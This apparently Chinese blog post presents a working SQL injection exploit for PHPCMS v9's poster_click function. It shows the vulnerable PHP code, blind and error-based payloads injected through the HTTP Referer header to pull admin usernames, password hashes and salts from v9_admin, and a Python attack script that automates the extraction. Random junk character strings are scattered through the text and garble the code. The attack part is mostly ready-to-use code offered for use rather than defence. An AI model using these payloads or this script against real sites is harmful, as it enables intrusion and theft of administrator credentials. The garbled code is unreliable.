phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

3 }2 t, u9 j6 W* H问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
# A1 \! ~5 x; D, Y. {. a2 sif (!is_array($r) && empty($r)) return false;
  F5 h, q) y: e$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
: j, O" K6 I1 q2 I& F6 r# A. h$username = param::get_cookie('username') ? param::get_cookie('username') : '';
6 `! |1 a& ?( P# a1 Xif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
2 ?) C! S1 }6 G( W: P}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
- R, u; Z( k# k" S" jif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
7 ^; [  L1 Z# z2 c: `5 G5 K' K+ ]}
8 F7 u: |2 |" a, \" l5 H
# Q# q4 A6 {9 m' b
# {3 K' R4 j9 I/ H
利用方式：

1、可以采用盲注入的手法：
5 e1 ]3 ~; q; s( M; o: Z; ?- c
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
. |7 D. \7 l' }7 }6 T* L' U, G9 t
& y0 v& g7 A  P. O. g( H" p6 D" U5 a通过返回页面，正常与否一个个猜解密码字段。

0 ]# z1 M% I7 o( X* Y9 x- j3 c- X2、代码是花开写的，随手附上了：
) l( o, D0 A5 A. J9 u  g  N5 j3 l
* w6 B- I4 R2 d+ T  ^1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
/ H$ I% k& V" g* ^. `
此方法是爆错注入手法，原理自查。
0 N9 n! d; v) ^, K8 K4 ^

6 b  i3 x% Z- p% t+ C  [* j
利用程序:
+ d" b4 B7 \( e/ {- ^8 j  @
. s% R0 V8 S) G% H* r" v9 R#!/usr/bin/env python
import httplib,sys,re

% T' z5 q# l8 J$ M1 p" d% Vdef attack():
" q. c8 h3 R: k3 S9 P  aprint “Code by Pax.Mac Team conqu3r!”
& J0 p6 _8 a3 `; Cprint “Welcome to our zone!!!”
6 B( c) q4 o3 ^; G7 b* l0 C: Murl=sys.argv[1]
paths=sys.argv[2]
+ W2 O2 c; g+ }& D7 z, y& e* [# Hconn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ |2 h3 y5 W3 |conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
2 d  b/ u/ u: V% Jdatas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
" x: e, V" |- Hprint datas[0]
. q, Z/ a% _4 T* w. tconn.close()
if __name__==”__main__”:
, u/ Y8 z) G6 ?5 k4 e% [: cif len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
/ d2 r' X3 S7 o2 j! @& cprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
/ E6 k& G; X( ?& Usys.exit(1)
attack()